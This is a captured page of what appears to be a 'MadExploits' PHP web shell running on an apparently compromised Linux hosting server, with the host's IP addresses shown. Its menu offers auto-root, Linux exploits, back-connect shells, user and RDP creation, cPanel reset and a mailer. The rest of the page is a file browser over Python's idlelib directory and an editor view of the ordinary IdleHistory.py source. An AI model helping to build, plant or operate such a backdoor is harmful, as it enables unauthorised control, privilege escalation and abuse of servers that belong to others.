Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.147.78.242
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
python35 /
lib /
python3.5 /
idlelib /
[ HOME SHELL ]
Name
Size
Permission
Action
Icons
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
idle_test
[ DIR ]
drwxr-xr-x
AutoComplete.py
8.99
KB
-rw-r--r--
AutoCompleteWindow.py
17.32
KB
-rw-r--r--
AutoExpand.py
3.32
KB
-rw-r--r--
Bindings.py
3.04
KB
-rw-r--r--
CREDITS.txt
1.82
KB
-rw-r--r--
CallTipWindow.py
5.89
KB
-rw-r--r--
CallTips.py
5.79
KB
-rw-r--r--
ChangeLog
55.07
KB
-rw-r--r--
ClassBrowser.py
6.83
KB
-rw-r--r--
CodeContext.py
8.16
KB
-rw-r--r--
ColorDelegator.py
10.35
KB
-rw-r--r--
Debugger.py
18.32
KB
-rw-r--r--
Delegator.py
1.02
KB
-rw-r--r--
EditorWindow.py
64.06
KB
-rw-r--r--
FileList.py
3.72
KB
-rw-r--r--
FormatParagraph.py
7.12
KB
-rw-r--r--
GrepDialog.py
5
KB
-rw-r--r--
HISTORY.txt
10.07
KB
-rw-r--r--
HyperParser.py
12.58
KB
-rw-r--r--
IOBinding.py
20.12
KB
-rw-r--r--
IdleHistory.py
3.96
KB
-rw-r--r--
MultiCall.py
18.14
KB
-rw-r--r--
MultiStatusBar.py
1.32
KB
-rw-r--r--
NEWS.txt
15.17
KB
-rw-r--r--
NEWS2x.txt
26.54
KB
-rw-r--r--
ObjectBrowser.py
3.88
KB
-rw-r--r--
OutputWindow.py
4.29
KB
-rw-r--r--
ParenMatch.py
6.56
KB
-rw-r--r--
PathBrowser.py
3.13
KB
-rw-r--r--
Percolator.py
3.1
KB
-rw-r--r--
PyParse.py
19.98
KB
-rw-r--r--
PyShell.py
57.46
KB
-rwxr-xr-x
README.txt
7.71
KB
-rw-r--r--
RemoteDebugger.py
11.73
KB
-rw-r--r--
RemoteObjectBrowser.py
964
B
-rw-r--r--
ReplaceDialog.py
7.31
KB
-rw-r--r--
RstripExtension.py
1.03
KB
-rw-r--r--
ScriptBinding.py
7.87
KB
-rw-r--r--
ScrolledList.py
4.27
KB
-rw-r--r--
SearchDialog.py
3.05
KB
-rw-r--r--
SearchDialogBase.py
6.84
KB
-rw-r--r--
SearchEngine.py
7.31
KB
-rw-r--r--
StackViewer.py
4.32
KB
-rw-r--r--
TODO.txt
8.28
KB
-rw-r--r--
ToolTip.py
3.1
KB
-rw-r--r--
TreeWidget.py
14.67
KB
-rw-r--r--
UndoDelegator.py
10.72
KB
-rw-r--r--
WidgetRedirector.py
6.78
KB
-rw-r--r--
WindowList.py
2.41
KB
-rw-r--r--
ZoomHeight.py
1.27
KB
-rw-r--r--
__init__.py
335
B
-rw-r--r--
__main__.py
159
B
-rw-r--r--
aboutDialog.py
6.82
KB
-rw-r--r--
config-extensions.def
2.9
KB
-rw-r--r--
config-highlight.def
2.46
KB
-rw-r--r--
config-keys.def
7.59
KB
-rw-r--r--
config-main.def
2.5
KB
-rw-r--r--
configDialog.py
63.54
KB
-rw-r--r--
configHandler.py
31.69
KB
-rw-r--r--
configHelpSourceEdit.py
6.66
KB
-rw-r--r--
configSectionNameDialog.py
3.91
KB
-rw-r--r--
dynOptionMenuWidget.py
1.94
KB
-rw-r--r--
extend.txt
3.56
KB
-rw-r--r--
help.html
42.39
KB
-rw-r--r--
help.py
10.7
KB
-rw-r--r--
help.txt
17.48
KB
-rw-r--r--
idle.bat
177
B
-rwxr-xr-x
idle.py
453
B
-rw-r--r--
idle.pyw
570
B
-rw-r--r--
idlever.py
415
B
-rw-r--r--
keybindingDialog.py
12.13
KB
-rw-r--r--
macosxSupport.py
8.48
KB
-rw-r--r--
rpc.py
20.3
KB
-rw-r--r--
run.py
13.54
KB
-rw-r--r--
tabbedpages.py
17.99
KB
-rw-r--r--
textView.py
3.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : IdleHistory.py
"Implement Idle Shell history mechanism with History class" from idlelib.configHandler import idleConf class History: ''' Implement Idle Shell history mechanism. store - Store source statement (called from PyShell.resetoutput). fetch - Fetch stored statement matching prefix already entered. history_next - Bound to <<history-next>> event (default Alt-N). history_prev - Bound to <<history-prev>> event (default Alt-P). ''' def __init__(self, text): '''Initialize data attributes and bind event methods. .text - Idle wrapper of tk Text widget, with .bell(). .history - source statements, possibly with multiple lines. .prefix - source already entered at prompt; filters history list. .pointer - index into history. .cyclic - wrap around history list (or not). ''' self.text = text self.history = [] self.prefix = None self.pointer = None self.cyclic = idleConf.GetOption("main", "History", "cyclic", 1, "bool") text.bind("<<history-previous>>", self.history_prev) text.bind("<<history-next>>", self.history_next) def history_next(self, event): "Fetch later statement; start with ealiest if cyclic." self.fetch(reverse=False) return "break" def history_prev(self, event): "Fetch earlier statement; start with most recent." self.fetch(reverse=True) return "break" def fetch(self, reverse): '''Fetch statememt and replace current line in text widget. Set prefix and pointer as needed for successive fetches. Reset them to None, None when returning to the start line. Sound bell when return to start line or cannot leave a line because cyclic is False. ''' nhist = len(self.history) pointer = self.pointer prefix = self.prefix if pointer is not None and prefix is not None: if self.text.compare("insert", "!=", "end-1c") or \ self.text.get("iomark", "end-1c") != self.history[pointer]: pointer = prefix = None self.text.mark_set("insert", "end-1c") # != after cursor move if pointer is None or prefix is None: prefix = self.text.get("iomark", "end-1c") if reverse: pointer = nhist # will be decremented else: if self.cyclic: pointer = -1 # will be incremented else: # abort history_next self.text.bell() return nprefix = len(prefix) while 1: pointer += -1 if reverse else 1 if pointer < 0 or pointer >= nhist: self.text.bell() if not self.cyclic and pointer < 0: # abort history_prev return else: if self.text.get("iomark", "end-1c") != prefix: self.text.delete("iomark", "end-1c") self.text.insert("iomark", prefix) pointer = prefix = None break item = self.history[pointer] if item[:nprefix] == prefix and len(item) > nprefix: self.text.delete("iomark", "end-1c") self.text.insert("iomark", item) break self.text.see("insert") self.text.tag_remove("sel", "1.0", "end") self.pointer = pointer self.prefix = prefix def store(self, source): "Store Shell input statement into history list." source = source.strip() if len(source) > 2: # avoid duplicates try: self.history.remove(source) except ValueError: pass self.history.append(source) self.pointer = None self.prefix = None if __name__ == "__main__": from unittest import main main('idlelib.idle_test.test_idlehistory', verbosity=2, exit=False)
Close